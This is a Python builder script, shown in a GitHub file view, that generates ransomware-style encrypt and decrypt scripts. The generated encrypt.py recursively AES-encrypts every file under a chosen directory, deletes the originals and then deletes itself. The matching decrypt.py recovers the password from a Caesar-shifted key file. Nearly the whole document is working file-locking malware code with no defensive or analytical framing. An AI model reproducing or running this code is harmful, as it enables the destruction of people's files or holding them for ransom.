Repository navigation
Expand file tree
/
Copy pathbuild.py
More file actions
125 lines (104 loc) · 2.68 KB
/
Copy pathbuild.py
File metadata and controls
125 lines (104 loc) · 2.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import random
import string
import sys
from argparse import ArgumentParser
parser = ArgumentParser()
parser.add_argument("-p", "--path", dest="path", help="Select path like: \"usr/bin/Foledr\" or \"C:\\My\\Folder\" or included folders relative to this file: \"\\Included\\folder\" ")
args = parser.parse_args()
if (args.path == None):
parser.print_help()
sys.exit()
directory = args.path
pswd_decrypt = ""
for i in range(26):
pswd_decrypt += random.choice(string.ascii_letters)
c_key = random.randint(1, 26)
pswd_encrypt = ""
for i in range(len(pswd_decrypt)):
letter = pswd_decrypt[i]
if letter.isupper():
i = ord(letter)
i = i + c_key
if i > 90:
i = i - 26
pswd_encrypt += chr(i)
elif letter.islower():
i = ord(letter)
i = i + c_key
if i > 122:
i = i - 26
pswd_encrypt += chr(i)
file = open("encrypt_key.txt", "w")
file.write(pswd_encrypt)
file.close()
print("[#] pswd_encrypt = " + str(pswd_encrypt))
print("[#] key = " + str(c_key))
print("[#] pswd_decrypt = " + str(pswd_decrypt))
with open("encrypt.py", "w") as encryptf:
encryptf.write(
'''import os
import pyAesCrypt
import sys
def encrypt(filename):
password = '''+"\""+str(pswd_decrypt)+"\""+'''
bufferSize = 512 * 1024
pyAesCrypt.encryptFile(str(filename), str(filename)+".aes", password, bufferSize)
print("[+] File '''+ "\'" +'''" + str(filename) + "'''+ "\'" +''' has been encrypted")
os.remove(filename)
def collect(dir):
for i in os.listdir(dir):
way = os.path.join(dir, i)
if os.path.isfile(way):
encrypt(way)
else:
collect(way)
collect(r'''+"\'"+str(directory)+"\'"+''')
os.remove(str(sys.argv[0]))
''')
with open("decrypt.py", "w") as decrypt:
decrypt.write(
'''import os
import sys
import pyAesCrypt
pswd_decrypt = ""
c_key = '''+str(c_key)+'''
text = open("encrypt_key.txt", "r")
tr = text.read()
text.close()
os.remove("encrypt_key.txt")
for i in range(len(tr)):
letter = tr[i]
if letter.isupper():
i = ord(letter)
i = i - c_key
if i < 65:
i = i + 26
pswd_decrypt += chr(i)
elif letter.islower():
i = ord(letter)
i = i - c_key
if i < 97:
i = i + 26
pswd_decrypt += chr(i)
file = open("decrypt_key.txt", "w")
file.write(pswd_decrypt)
file.close()
def decrypt(filename):
password = pswd_decrypt
bufferSize = 512 * 1024
pyAesCrypt.decryptFile(str(filename), str(os.path.splitext(filename)[0]), password, bufferSize)
print("[+] File '''+ "\'" +'''" + str(filename) + "'''+ "\'" +''' has been decrypted")
os.remove(filename)
def collect(dir):
for i in os.listdir(dir):
way = os.path.join(dir, i)
if os.path.isfile(way):
try:
decrypt(way)
except:
pass
else:
collect(way)
collect(r'''+"\'"+str(directory)+"\'"+''')
os.remove(str(sys.argv[0]))
''')